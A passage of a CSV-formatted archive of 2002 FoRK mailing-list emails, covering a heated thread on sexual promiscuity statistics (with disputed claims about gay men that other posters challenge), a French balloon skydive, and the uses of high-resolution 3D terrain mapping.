sex she >and I have had. Yeah, like I'm going to believe that without seeing the photos. Next, you'll be telling me that Beberg found a job he likes. _________________________________________________________________ Join the worlds largest e-mail service with MSN Hotmail. http://www.hotmail.com",0,1 """Geege Schuman"" ","""Russell Turpin"" , ","Sat, 7 Sep 2002 16:56:48 -0400",RE: Selling Wedded Bliss (was Re: Ouch...),"intersectedness: i'd be surprised if beberg ever had a BLOWjob he liked. i mean, it would have involved OTHERS, less EVOLVED others. :-) gg -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Russell Turpin Sent: Saturday, September 07, 2002 3:07 PM To: fork@spamassassin.taint.org Subject: RE: Selling Wedded Bliss (was Re: Ouch...) CDale: >I guess [Geege] doesn't want everyone to know about all the kinky sex she >and I have had. Yeah, like I'm going to believe that without seeing the photos. Next, you'll be telling me that Beberg found a job he likes. _________________________________________________________________ Join the worlds largest e-mail service with MSN Hotmail. http://www.hotmail.com",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Sun, 8 Sep 2002 17:01:26 +0200 (CEST)",The Big Jump,"Today a French officer called Michel Fournier is supposed to get in a 350-metre tall helium balloon, ride it up to the edge of space (40 km altitude) and jump out. His fall should last 6.5 minutes and reach speeds of Mach 1.5. He hopes to open his parachute manually at the end, although with an automatic backup if he is 7 seconds from the ground and still hasn't opened it. R ObQuote: ""Veder, si aver si grossi li coglioni, come ha il re di Franza."" (""Let's see if I've got as much balls as the King of France!"") - Pope Julius II, 2 January 1511",0,0 bitbitch@magnesium.net,harley@argote.ch ((Robert Harley)),"Sun, 8 Sep 2002 11:36:11 -0400",Re: The Big Jump,"So uh, would this qualify for the Darwin awards if he doesn't make it? Freaking french people... :-) -BB RH> Today a French officer called Michel Fournier is supposed to get in a RH> 350-metre tall helium balloon, ride it up to the edge of space (40 km RH> altitude) and jump out. His fall should last 6.5 minutes and reach RH> speeds of Mach 1.5. He hopes to open his parachute manually at the RH> end, although with an automatic backup if he is 7 seconds from the RH> ground and still hasn't opened it. RH> R RH> ObQuote: RH> ""Veder, si aver si grossi li coglioni, come ha il re di Franza."" RH> (""Let's see if I've got as much balls as the King of France!"") RH> - Pope Julius II, 2 January 1511 -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,0 James Rogers ,fork@spamassassin.taint.org,"Sun, 08 Sep 2002 00:55:00 -0700",Re: whoa,"On 9/8/02 7:38 AM, ""Gary Lawrence Murphy"" wrote: > J> ... If you want a region of the globe mapped out to a very > J> high resolution (e.g. 1-meter), they can scan the area with > J> aircraft LIDAR and add it to the database, thereby making that > J> region zoomable to the resolution of the database for that > J> area. > > Can you give us an example of an application where 1-m resolution > would be worth the considerable expense? An example: Being able to model RF propagation in three dimensions for a metro area when deploying wireless networks. By having every single tree and building detail and similar, you can ""see"" even tiny dead spots due to physical blockage and signal attenuation. Overlay this with fiber map data for yourself and your competitors (when you can glean such data), which is also useful at this resolution, and you have a very slick way of modeling existing network deployments in excruciating detail and optimizing further deployments to maximize coverage and bandwidth. Take that and tie it into a slick geo-physically aware real-time network monitoring and management system and you've really got something... For many applications though, 5-meter data is probably adequate. -James Rogers jamesr@best.com",0,0 """Gordon Mohr"" ",,"Sun, 8 Sep 2002 13:52:02 -0700",Re: Selling Wedded Bliss (was Re: Ouch...),"Robert Harley: > Gordon Mohr wrote: > >Definitional nit to pick: > >You've redefined ""promiscuity"" above as ""total"" or ""average"" activity, > > I think it's clear that I'm talking about averages, so I'm not sure > why that nit needs to be picked... It was clear you were talking about averages. But it should be equally clear that that isn't what people mean when they use the word ""promiscuity"". > >which seems to rob it of its common meaning: > >activity above some specific threshold (usually ""one"") > > In that case, ""promiscous"" is a vacuous term in modern Western > societies (but we knew that :), where people average 7 partners or so > in their adult lives. Not at all. There are still people who only have one partner. There are many more whoe only have one partner over ""long"" periods of time. So it is far from ""vacuous"" to describe some people as ""promiscuous"" and others as ""not promiscuous"", especially over a set period. (""He was promiscuous in college. He is no longer promiscuous."") The word has a clear meaning, despite your continuing tendency to gloss that meaning over with population averages. > >Consider a population of 3 males and 3 females. > >[...] > >so in this contrived population, females are more ""promiscuous"" than males, > > So 1 girl gets 1 guy, 2 girls get 2 guys, 2 guys get 1 girl, 1 guy > gets 3 girls. Sounds like six of one versus half a dozen of the other > to me. OK, then. Consider a population of 1,000,000. 500,000 men each pair off with 500,000 women. Then, 1 man, let's call him ""Wilt"", also has sex with the other 499,999 women. 499,999 women have had more than one partner. 499,999 men have only had one partner. It is now ""perfectly obvious"" that in the common meaning of the term, among this contrived population, that women are ""more promiscuous"" than men -- even though the single ""most promiscuous"" person, Wilt, is a man. ""Promiscuity"" is not ""exactly, perfectly identical between males and females"", except under a degenerate custom definition of ""promiscuity"". > >unless ""promiscuity"" is defined uselessly. > > Ain't nothin' useless about averages. Averages are useful, sure -- but much more so if called by their actual name, rather than conflated with another concept. - Gordon",0,0 Eugen Leitl ,Gordon Mohr ,"Sun, 8 Sep 2002 23:02:57 +0200 (CEST)",Re: Selling Wedded Bliss (was Re: Ouch...),"On Sun, 8 Sep 2002, Gordon Mohr wrote: > OK, then. Consider a population of 1,000,000. 500,000 men each > pair off with 500,000 women. Then, 1 man, let's call him ""Wilt"", > also has sex with the other 499,999 women. It is not uncommon to find gay males who had sex with several thousands partners (there would be more, in fact lots more, probably, but a lot of them have died). Don't have to be a callboy, if considering that you can have intercourse with several partners in a single day in a bathouse it doesn't look particularly difficult to do. Clearly this is not something what hets do, prostitution not taken into account.",0,0 Gary Lawrence Murphy ,James Rogers ,08 Sep 2002 18:16:57 -0400,Re: whoa,">>>>> ""J"" == James Rogers writes: J> An example: Being able to model RF propagation in three J> dimensions for a metro area when deploying wireless networks. J> By having every single tree and building detail and similar, J> you can ""see"" even tiny dead spots due to physical blockage and J> signal attenuation. Hmmm, just as I thought. In other words, it has no practical uses whatsoever ;) ... do the biz guys in your office /really/ think WISPs are really going to shell out /their/ money to find a house or two they can't reach? Experience suggests (a) they won't care and (b) they will even sign up that errant house and then give them a run-around blaming the dead-spot on ""unsupported vendor equipment"". Thus, yes, it is 'cool': Expensive toy with no apparent function ;) -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 kragen@pobox.com (Kragen Sitaker),fork@spamassassin.taint.org,"Sun, 8 Sep 2002 19:24:16 -0400 (EDT)",earthviewer (was Re: whoa},"On 9/8/02 7:38 AM, ""Gary Lawrence Murphy"" wrote: > J> ... If you want a region of the globe mapped out to a very > J> high resolution (e.g. 1-meter), they can scan the area with > J> aircraft LIDAR and add it to the database, thereby making that > J> region zoomable to the resolution of the database for that > J> area. > > Can you give us an example of an application where 1-m resolution > would be worth the considerable expense? Planning battle tactics; for this reason, the intelligence press reports, spy satellites have had 1-meter resolution for many years. Finding an individual vehicle in a city might occasionally be possible with 1-m images and might occasionally also be worth the money. For small areas you have legitimate access to, it's probably cheaper to go there with a digital camera and a GPS and take some snapshots from ground level. Aerial photos might be cheaper for large areas, areas where you're not allowed --- or, perhaps, physically able --- to go, and cases where you don't have time to send a ground guy around the whole area. -- Kragen Sitaker Edsger Wybe Dijkstra died in August of 2002. The world has lost a great man. See http://advogato.org/person/raph/diary.html?start=252 and http://www.kode-fu.com/geek/2002_08_04_archive.shtml for details.",0,1 James Rogers ,fork@spamassassin.taint.org,"Sun, 08 Sep 2002 16:54:09 -0700",Re: whoa,"On 9/8/02 3:16 PM, ""Gary Lawrence Murphy"" wrote: >>>>>> ""J"" == James Rogers writes: > > J> An example: Being able to model RF propagation in three > J> dimensions for a metro area when deploying wireless networks. > J> By having every single tree and building detail and similar, > J> you can ""see"" even tiny dead spots due to physical blockage and > J> signal attenuation. > > Hmmm, just as I thought. In other words, it has no practical uses > whatsoever ;) ... do the biz guys in your office /really/ think WISPs > are really going to shell out /their/ money to find a house or two > they can't reach? Experience suggests (a) they won't care and (b) > they will even sign up that errant house and then give them a > run-around blaming the dead-spot on ""unsupported vendor equipment"". Errrr....the biz guys in my office don't care what the ""WISPs"" want to do with their little WiFi networks. And the bandwidth shadows in most cities are surprisingly large and common. They aren't selling the software, which is pretty pricy as it happens. They are using it to optimize next generation wireless canopies over metro areas and fiber networks on a large scale. There are an essentially infinite number of metro wireless configurations, some of which generate far more dead or marginal spots and others which are very expensive to operate (due to backhaul transit considerations) or both. This software can be used as a tool to optimize the canopy coverage and minimize the actual transit costs since the wireless is tied into fiber at multiple points. The canopies we are talking about aren't short-range wifi technologies, but a mixture of long-range high-performance wireless networking, with bandwidth measured in tens to hundreds of mbits and ranges measured in miles (up to well over a hundred miles on the extreme end). At those ranges and bandwidth levels, the cost of providing the network can easily vary by an order of magnitude or more depending on how you manage RF shadows and proximity to fiber access points. The idea ultimately is to optimize the cost and performance such that no existing network infrastructure providers can remotely compete and maintain profitability. This is a surprisingly low bar, and it is about time networks were designed with this level of large-scale optimization (cost per mbit, maximizing coverage, and effective bandwidth available per unit area) in any case. And for this company's long-term plans, this type of capability will be absolutely necessary to keep things sane. Or at least investors find this capability very sexy and compelling, especially since we have this lovely visualization engine tied into the system (CLI batches never have the same effect, even if it is more efficient). -James Rogers jamesr@best.com",0,0 Tom ,Eugen Leitl ,"Sun, 8 Sep 2002 23:11:51 -0400 (EDT)",Re: Selling Wedded Bliss (was Re: Ouch...),"On Sun, 8 Sep 2002, Eugen Leitl wrote: --]doesn't look particularly difficult to do. --] --]Clearly this is not something what hets do, prostitution not taken into --]account. So lets see, hets dont go to swing clubs, meat markets or the like at all? Hmm. And being gay means hanging in the bath house being a cum dumpster while you listen to the Devine Ms M belt one out for the boys? Ugh, with thinking like this who needs the bible belt?",0,0 """Geege Schuman"" ",,"Sun, 8 Sep 2002 22:15:54 -0400",Recommended Viewing,"who watched Lathe of Heaven? (A&E, 8 pm EDT) who has seen the original? if it's airing now on the west coast, do catch it. gg",0,0 Gary Lawrence Murphy ,kragen@pobox.com (Kragen Sitaker),08 Sep 2002 23:09:17 -0400,Re: earthviewer (was Re: whoa},">>>>> ""K"" == Kragen Sitaker writes: K> Planning battle tactics; for this reason, the intelligence K> press reports, spy satellites have had 1-meter resolution for K> many years. The military already have these spy satellites; they are basically Hubble pointed the other way, so I doubt they will be a big enough customer of this service to justify a next-generation wireless network rollout for the rest of us. K> Finding an individual vehicle in a city might occasionally be K> possible with 1-m images and might occasionally also be worth K> the money. My car is only just over 1.5 meters across and maybe 3 meters long, so that means roughly six pixels total surface area. You might find a 16-wheeler this way, but how often do people misplace a 16-wheeler such that it is _that_ important to get old images of the terrain? Since they can't send up aircraft to update images in realtime every time, how is this different from just releasing the map on DVDs? Why wireless? I thought of the common problem of lost prize cattle, but there again, will there really be business-case for creating a hi-res map of wyoming on the fly instead of just doing what they do now and hiring a helicopter for a few hours? K> For small areas you have legitimate access to, it's probably K> cheaper to go there with a digital camera and a GPS and take K> some snapshots from ground level. Aerial photos might be K> cheaper for large areas, areas where you're not allowed --- or, K> perhaps, physically able --- to go, and cases where you don't K> have time to send a ground guy around the whole area. I can see lower-res being useful for Geologists, but considering their points of interest change only a few times every few million years, there's not much need to be wireless based on up-to-the-minute data. I expect most geologists travel with a laptop perfectly capable of DVD playback, and I also expect the most interesting geology is in regions where the wireless ain't going to go ;) I don't mean to nit-pick, it's just that I'm curious as to (a) the need for this product that justifies the extreme cost and (b) how we'd justify the ubiquitous next-generation wireless network that this product postulates when we /still/ can't find the killer app for 3G. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 Gary Lawrence Murphy ,James Rogers ,08 Sep 2002 23:12:53 -0400,Re: whoa,">>>>> ""J"" == James Rogers writes: J> ... They aren't selling the software, which is pretty pricy as J> it happens. They are using it to optimize next generation J> wireless canopies over metro areas and fiber networks on a J> large scale. There are an essentially infinite number of metro J> wireless configurations, some of which generate far more dead J> or marginal spots and others which are very expensive to J> operate (due to backhaul transit considerations) or both. This J> software can be used as a tool to optimize the canopy coverage J> and minimize the actual transit costs since the wireless is J> tied into fiber at multiple points. So you only need to map a handful of metropolitan areas? J> Or at least investors find this capability very sexy and J> compelling Ah ... now /that/ I will believe :) Don't mind me; I'm just getting even more cynical in my old age. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 James Rogers ,fork@spamassassin.taint.org,"Sun, 08 Sep 2002 20:34:54 -0700",Re: earthviewer (was Re: whoa},"On 9/8/02 8:09 PM, ""Gary Lawrence Murphy"" wrote: > My car is only just over 1.5 meters across and maybe 3 meters long, so > that means roughly six pixels total surface area. You might find a > 16-wheeler this way, but how often do people misplace a 16-wheeler > such that it is _that_ important to get old images of the terrain? > Since they can't send up aircraft to update images in realtime every > time, how is this different from just releasing the map on DVDs? Why > wireless? It seems that several people are missing the point that this is NOT an image database. It is high-resolution topological data rendered in three dimensions. Images are overlayed on the topological data to help people navigate familiar terrain visually. In other words, it is not intended as a wannabe spy satellite. Rather it is a very accurate three dimensional model of the earth's surface. When a particular region in question is covered in a city, the buildings in the city are mapped as though they are part of the earth's surface. The part that makes the app killer is that you can map all sorts of data layers on top of their core topological data. Got it? -James Rogers jamesr@best.com",0,0 CDale ,Tom ,"Sun, 8 Sep 2002 22:56:09 -0500 (CDT)",Re: Selling Wedded Bliss (was Re: Ouch...),"I agree w/ ya Tom. That kind of thinking is SO idiotic. Sure, gays are promiscuous, and so are hets, but I betcha gays are more AIDSphobic than hets, generally speaking.... C On Sun, 8 Sep 2002, Tom wrote: > On Sun, 8 Sep 2002, Eugen Leitl wrote: > > --]doesn't look particularly difficult to do. > --] > --]Clearly this is not something what hets do, prostitution not taken into > --]account. > > So lets see, hets dont go to swing clubs, meat markets or the like at all? > Hmm. And being gay means hanging in the bath house being a cum dumpster > while you listen to the Devine Ms M belt one out for the boys? > > Ugh, with thinking like this who needs the bible belt? > > > > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,0 """Gordon Mohr"" ",,"Sun, 8 Sep 2002 22:04:51 -0700",earthviewer apps Re: whoa,"Gary Lawrence Murphy cynicizes: > Hmmm, just as I thought. In other words, it has no practical uses > whatsoever ;) Tourism is the world's largest industry. Using this to preview your travels, or figure out where you are, would be very valuable. Online gaming continues to grow. Screw ""Britannia"", real-life Britain would be a fun world to wander/ conquer/explore virtually, in role-playing or real- time-strategy games. And of course, as James Rogers points out, it's an ideal display substrate for all sorts of other overlaid data. Maps are great, photrealistic 3-D maps of everywhere which can have many other static and dynamic datasets overlaid are spectacular. (Combining those last two thoughts: consider the static world map, in faded colors, with patches here-and-there covered by live webcams, stitched over the static info in bright colors... it'd be like the ""fog of war"" view in games like Warcraft, over the real world.) - Gordon",0,0 Gary Lawrence Murphy ,James Rogers ,09 Sep 2002 00:39:58 -0400,Re: earthviewer (was Re: whoa},">>>>> ""J"" == James Rogers writes: J> ... The part that makes the app killer is that you can map all J> sorts of data layers on top of their core topological data. J> Got it? Ah, ok ... so some sample applications come to mind, although none of them require wireless and would do with a DVD, but nonetheless ... - Forestry: Maps of the terrain are essential in predicting the spread of forest fires, esp if this is overlaid with the type of vegetation, recent waterfall &c - farming/conservation can use the high-resolution terrain to overlay water tables or watershed info. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 """John Evdemon"" ",,"Mon, 9 Sep 2002 07:02:50 -0400",Re: Recommended Viewing,"On 8 Sep 2002 at 22:15, Geege Schuman wrote: > who watched Lathe of Heaven? (A&E, 8 pm EDT) who has seen > the original? > By ""original"" if you are referring to the old PBS version, I liked that version much better. Much more thought provoking.",0,0 Eugen Leitl ,CDale ,"Mon, 9 Sep 2002 13:08:51 +0200 (CEST)",Re: Selling Wedded Bliss (was Re: Ouch...),"On Sun, 8 Sep 2002, CDale wrote: > I agree w/ ya Tom. That kind of thinking is SO idiotic. Sure, gays So how many of your hetero friends had >3 k lovers? > are promiscuous, and so are hets, but I betcha gays are more > AIDSphobic than hets, generally speaking.... The virus load issue is orthogonal to the fact. Bzzt. Switch on your brain, you both. I was mentioning that a subpopulation outside of the sex industry is/used to be extremely promiscuous, about two orders of magnitude higher than average.",0,0 """Geege Schuman"" ","""John Evdemon"" ","Mon, 9 Sep 2002 07:25:59 -0400",RE: Recommended Viewing,"Agreed, completely. I totally grokked the notion of unintened consequence with the original. -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of John Evdemon Sent: Monday, September 09, 2002 7:03 AM To: Fork@xent.com Subject: Re: Recommended Viewing On 8 Sep 2002 at 22:15, Geege Schuman wrote: > who watched Lathe of Heaven? (A&E, 8 pm EDT) who has seen > the original? > By ""original"" if you are referring to the old PBS version, I liked that version much better. Much more thought provoking.",0,0 Chris Haun ,Eugen Leitl ,"Mon, 9 Sep 2002 07:51:52 -0400 (EDT)",Re: Selling Wedded Bliss (was Re: Ouch...),"ok i read back, thats not a typo, you mean three thousand lovers. where do you get your data? It seems very unlikely, but if you have supporting evidence i'd like to see it. Chris On Mon, 9 Sep 2002, Eugen Leitl wrote: > On Sun, 8 Sep 2002, CDale wrote: > > > I agree w/ ya Tom. That kind of thinking is SO idiotic. Sure, gays > > So how many of your hetero friends had >3 k lovers? > > > are promiscuous, and so are hets, but I betcha gays are more > > AIDSphobic than hets, generally speaking.... > > The virus load issue is orthogonal to the fact. Bzzt. Switch on your > brain, you both. I was mentioning that a subpopulation outside of the sex > industry is/used to be extremely promiscuous, about two orders of > magnitude higher than average. > > >",0,0 Eugen Leitl ,Chris Haun ,"Mon, 9 Sep 2002 15:27:19 +0200 (CEST)",Re: Selling Wedded Bliss (was Re: Ouch...),"On Mon, 9 Sep 2002, Chris Haun wrote: > ok i read back, thats not a typo, you mean three thousand lovers. > where do you get your data? It seems very unlikely, but if you have > supporting evidence i'd like to see it. I haven't seen any official data on the web (the high-ranking hits are overrun by religious bigots), but there's some anecdotal evidence to be found in http://sunsite.berkeley.edu:2020/dynaweb/teiproj/oh/science/aidsnur2/@Generic__BookTextView/5406 (search for promiscuity). They mention 300 to 500 partners a year. (Anecdotally. This is not a statistic). They also mention that this was specific to gay males. Lesbians don't dig promiscuity in that degree.",0,1 bitbitch@magnesium.net,Eugen Leitl ,"Mon, 9 Sep 2002 09:41:37 -0400",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"EL> On Sun, 8 Sep 2002, CDale wrote: >> I agree w/ ya Tom. That kind of thinking is SO idiotic. Sure, gays EL> So how many of your hetero friends had >3 k lovers? So Eugen, how many of your homo friends have -had- 3k lovers? In fact, thats a general question for FoRK proper. Do you know anyone, outside of meybee Wilt Chamberlin and a few of the gang-bang porn queens who -have- had even 1.5k lovers? Eegads, if you're hypothesizing numbers like -that- Eugen, you at least owe it to FoRK to back that shit up. Otherwise we're liable to assume rampant unfounded homophobia and that would just be a lose. Just a quick assumption here. I'm not a math geek or anything, but assuming 1 lover every day, that would be like at least one lover everyday for 8 years and some change. I don't know about you, but very very few of us are -that- lucky (or even close to that lucky) and after awhile, even the sexaholics get bored and have to mingle something new into their weekends. You really are assumiing that the homosexual population is a) that large in a given area (The meccas might qualify, but try finding that kind of homosexual population in say, Tulsa, Oklahoma or Manchester, NH (Tho Manchester does have quite a few nifty gaybars, but thats a different story) b) that bored/sex obsessed/recreationally free to pursue sex that often, with that many partners or that they'd even WANT that many partners. Qualify yourself, or at least lower your outrageous numbers. =BB >> are promiscuous, and so are hets, but I betcha gays are more >> AIDSphobic than hets, generally speaking.... EL> The virus load issue is orthogonal to the fact. Bzzt. Switch on your EL> brain, you both. I was mentioning that a subpopulation outside of the sex EL> industry is/used to be extremely promiscuous, about two orders of EL> magnitude higher than average. -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,0 bitbitch@magnesium.net,eugen Leitl ,"Mon, 9 Sep 2002 09:55:55 -0400",Re[3]: Selling Wedded Bliss (was Re: Ouch...),"In addition, one bit of anecdotal evidence from a conversation in 1984! in San Fransisco is hardly enough to extrapolate 500 to 3k. This is the only quote I could find relating to promiscuity in homosexual men. ""I think people feel a certain invulnerability, especially young people, like this disease doesn't affect me. The publicity about the disease was very much the kind where it was easy to say, ""That isn't me. I'm not promiscuous."" Promiscuity, especially, was a piece where people could easily say, ""Well, I'm not. Promiscuous is more than I do."" If you have 300 partners a year, you can think you're not promiscuous if you know somebody who has 500. So it's all relative, and it was easy to feel that that isn't me."" You could find hets who have the same kind of partner volume. BFD. This kind of random generation of numbers that leads the nutty religious bigots (as you mentioned earlier). Grr. Bits damnit. Now, I must go brief. -BB EL>> On Sun, 8 Sep 2002, CDale wrote: >>> I agree w/ ya Tom. That kind of thinking is SO idiotic. Sure, gays EL>> So how many of your hetero friends had >3 k lovers? bmn> So Eugen, how many of your homo friends have -had- 3k lovers? bmn> In fact, thats a general question for FoRK proper. bmn> Do you know anyone, outside of meybee Wilt Chamberlin and a few of the bmn> gang-bang porn queens who -have- had even 1.5k lovers? bmn> Eegads, if you're hypothesizing numbers like -that- Eugen, you at bmn> least owe it to FoRK to back that shit up. bmn> Otherwise we're liable to assume rampant unfounded homophobia and that bmn> would just be a lose. bmn> Just a quick assumption here. I'm not a math geek or anything, but bmn> assuming 1 lover every day, that would be like at least one lover bmn> everyday for 8 years and some change. I don't know about you, but bmn> very very few of us are -that- lucky (or even close to that lucky) bmn> and after awhile, even the sexaholics get bored and have to mingle bmn> something new into their weekends. You really are assumiing that the bmn> homosexual population is a) that large in a given area (The meccas bmn> might qualify, but try finding that kind of homosexual population in bmn> say, Tulsa, Oklahoma or Manchester, NH (Tho Manchester does have quite bmn> a few nifty gaybars, but thats a different story) b) that bored/sex bmn> obsessed/recreationally free to pursue sex that often, with that many bmn> partners or that they'd even WANT that many partners. bmn> Qualify yourself, or at least lower your outrageous numbers. bmn> =BB >>> are promiscuous, and so are hets, but I betcha gays are more >>> AIDSphobic than hets, generally speaking.... EL>> The virus load issue is orthogonal to the fact. Bzzt. Switch on your EL>> brain, you both. I was mentioning that a subpopulation outside of the sex EL>> industry is/used to be extremely promiscuous, about two orders of EL>> magnitude higher than average. -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,0 Lucas Gonze ,bitbitch@magnesium.net,"Mon, 9 Sep 2002 09:59:18 -0400 (EDT)",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"> So Eugen, how many of your homo friends have -had- 3k lovers? > > In fact, thats a general question for FoRK proper. Uh, zero. I'm sort of offended at having to take this question seriously, like being black and having to actually explain that black people don't all sing and dance. I'd guess that gay men compared to straight men have a linearly greater number of sexual partners on the order of 1.5-2X. But then again, it not a monolithic or homogeneous community. Who knows? 3K is utter shite. - Lucas",0,0 Tom ,Gordon Mohr ,"Mon, 9 Sep 2002 10:10:18 -0400 (EDT)",Re: earthviewer apps Re: whoa,"On Sun, 8 Sep 2002, Gordon Mohr wrote: --]Gary Lawrence Murphy cynicizes: --]> Hmmm, just as I thought. In other words, it has no practical uses --]> whatsoever ;) --] --]Online gaming continues to grow. Screw ""Britannia"", --]real-life Britain would be a fun world to wander/ --]conquer/explore virtually, in role-playing or real- --]time-strategy games. Andthus....Geocaching.....this would make a nice little ""let me check this set of coord out before we trek into 10 feet of quicksand""",0,0 Eugen Leitl ,,"Mon, 9 Sep 2002 16:12:36 +0200 (CEST)",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"On Mon, 9 Sep 2002 bitbitch@magnesium.net wrote: > So Eugen, how many of your homo friends have -had- 3k lovers? Just one. Not everybody does that. Most of them are now dead, anyway. > Do you know anyone, outside of meybee Wilt Chamberlin and a few of the > gang-bang porn queens who -have- had even 1.5k lovers? Yes. Notice that I've specifically excluded sex industry. That be cheating. > Eegads, if you're hypothesizing numbers like -that- Eugen, you at > least owe it to FoRK to back that shit up. Ain't done no hypothesizing. Anecdotal evidence'R'Us. Couldn't you just Google, or something? > Otherwise we're liable to assume rampant unfounded homophobia and that > would just be a lose. Yeah, I'm a gay Jew Nazi Muslim who's also a lead character on Kaz's underworld. Can we go on with the programme now? > Just a quick assumption here. I'm not a math geek or anything, but > assuming 1 lover every day, that would be like at least one lover > everyday for 8 years and some change. I don't know about you, but > very very few of us are -that- lucky (or even close to that lucky) Which was my point. Gurls don't do hyperpromiscuity as a life style. It's interesting that you're launching into a diatribe, and threaten using instant argument (just add hominem) instead of assuming I might be not just pulling this whole thing out my nether orifice. > and after awhile, even the sexaholics get bored and have to mingle > something new into their weekends. You really are assumiing that the > homosexual population is a) that large in a given area (The meccas You ever been to San Francisco? > might qualify, but try finding that kind of homosexual population in > say, Tulsa, Oklahoma or Manchester, NH (Tho Manchester does have quite Yeah, I think it could be also difficult finding a gay bathhouse in Thule, Greenland. Or parts of central Africa. To think of it, both Oort and Kuiper belts are utterly devoid of gay people as well. Isn't this remarkable? > a few nifty gaybars, but thats a different story) b) that bored/sex > obsessed/recreationally free to pursue sex that often, with that many > partners or that they'd even WANT that many partners. This doesn't happen because it couldn't happen. No one would want to. Because you feel that way. Correct? > Qualify yourself, or at least lower your outrageous numbers. I didn't expect so much reflexive knee-jerking on this list.",0,0 Tom ,Lucas Gonze ,"Mon, 9 Sep 2002 10:19:02 -0400 (EDT)",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"On Mon, 9 Sep 2002, Lucas Gonze wrote: --]3K is utter shite. --] 3k is a number that probably sounds good to some closted homophobe with secret desires to be ""belle of the balls"". Twinks dinks and dorks, this thread sounds to me like someone needs a little luvin.",0,0 Eugen Leitl ,Lucas Gonze ,"Mon, 9 Sep 2002 16:23:57 +0200 (CEST)",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"On Mon, 9 Sep 2002, Lucas Gonze wrote: > a linearly greater number of sexual partners on the order of 1.5-2X. But > then again, it not a monolithic or homogeneous community. Who knows? Did I claim ""all gay people are hyperpromiscuous""? For what this is worth, I would claim they're considerably more promiscuous on the average than your average het. My utterly unscientific, unsubstatiated claim is that the typical male would *like* to be considerably more promiscous than your average female (ay, and here's the rub. pray don't forget the kleenex). Look up different reproduction strategies, due to basic hardware difference (sexual dimorphism). You'd do that too if it happened to you. Once you go past the first three of four pages of hysterical propaganda on Google you might actually run into real studies. Anyone game? I have to work (well, pretend to). > 3K is utter shite. This is getting better and better. You know 3K is utter shite how? You just feel the number can't be right, yes? Deep inside? I'm way overposting today, but I find this entire exchange hee-lay-rious.",0,0 Lucas Gonze ,,"Mon, 9 Sep 2002 10:24:06 -0400 (EDT)",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"Tom wrote: > 3k is a number that probably sounds good to some closted homophobe with > secret desires to be ""belle of the balls"". Twinks dinks and dorks, this > thread sounds to me like someone needs a little luvin. I dunno if I'd accuse everybody who believes the 3K number of needing a little luvin, but I completely believe that this myth has survived because there's a lot of people who need more lovin. Plus it fits in with a bunch of different archetypes. - Lucas",0,0 bitbitch@magnesium.net,Eugen Leitl ,"Mon, 9 Sep 2002 10:32:46 -0400",Re[3]: Selling Wedded Bliss (was Re: Ouch...),"EL> On Mon, 9 Sep 2002 bitbitch@magnesium.net wrote: >> So Eugen, how many of your homo friends have -had- 3k lovers? EL> Just one. Not everybody does that. Most of them are now dead, anyway. Point is, you're not likely to extrapolate much. I could probably find one hetero who had just as much sex. Does that mean we're all rampant hos? No. >> Eegads, if you're hypothesizing numbers like -that- Eugen, you at >> least owe it to FoRK to back that shit up. EL> Ain't done no hypothesizing. Anecdotal evidence'R'Us. Couldn't you just EL> Google, or something? Listen. If you pull numbers like that without a fact, the automagic assumption is yes, they were extracted out of your neither orifice. Point wasn't to conclude otherwise unless you had any relevant bits. Its not my job to do _your_ bit searching for you, but I figured I'd humor fork with this bit of finding: http://www.thebody.com/bp/apr01/research_notebook.html (Pointing ot averages of about 13 for every 3 months (for gay men), which totals to about 52 a year. 52 a year doesn't equal 3000. Or even 300. >> Just a quick assumption here. I'm not a math geek or anything, but >> assuming 1 lover every day, that would be like at least one lover >> everyday for 8 years and some change. I don't know about you, but >> very very few of us are -that- lucky (or even close to that lucky) EL> Which was my point. Gurls don't do hyperpromiscuity as a life style. It's EL> interesting that you're launching into a diatribe, and threaten using EL> instant argument (just add hominem) instead of assuming I might be not EL> just pulling this whole thing out my nether orifice. WTF do my shitty math skillz have to do with girls and hyperpromiscuity? I was speaking -generally- meaning that guys and girls probably have better things to do than boink everything they see. As above, I am assuming you're pulling things out of your ass, I just felt like calling you on it. BTW, there's nothing wrong with calling someone on a silly idea. Its allowed, and its generally not considered ad hominem, but the homophobia statement might be. >> and after awhile, even the sexaholics get bored and have to mingle >> something new into their weekends. You really are assumiing that the >> homosexual population is a) that large in a given area (The meccas EL> You ever been to San Francisco? Many times. Which is why I said 'assuming that large ... (The meccas dont count). SF is a mecca in this example. I obviously wasn't clear, tho one could assume I wasn't talking about Medina. >> a few nifty gaybars, but thats a different story) b) that bored/sex >> obsessed/recreationally free to pursue sex that often, with that many >> partners or that they'd even WANT that many partners. EL> This doesn't happen because it couldn't happen. No one would want to. EL> Because you feel that way. Correct? doesn't happen? true. Couldn't happen? who knows. It has nothing to do with how I 'feel' and everything to do with the fact that people do concern themselves with more than just sex (otherwise I think we'd see a helluva lot more of sex, and a helluva lot less of everything else). >> Qualify yourself, or at least lower your outrageous numbers. EL> I didn't expect so much reflexive knee-jerking on this list. Well my suggestion is, if you can't take the responses, don't post flamebait. -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,1 CDale ,Eugen Leitl ,"Mon, 9 Sep 2002 09:34:47 -0500 (CDT)",Re: Selling Wedded Bliss (was Re: Ouch...),"On 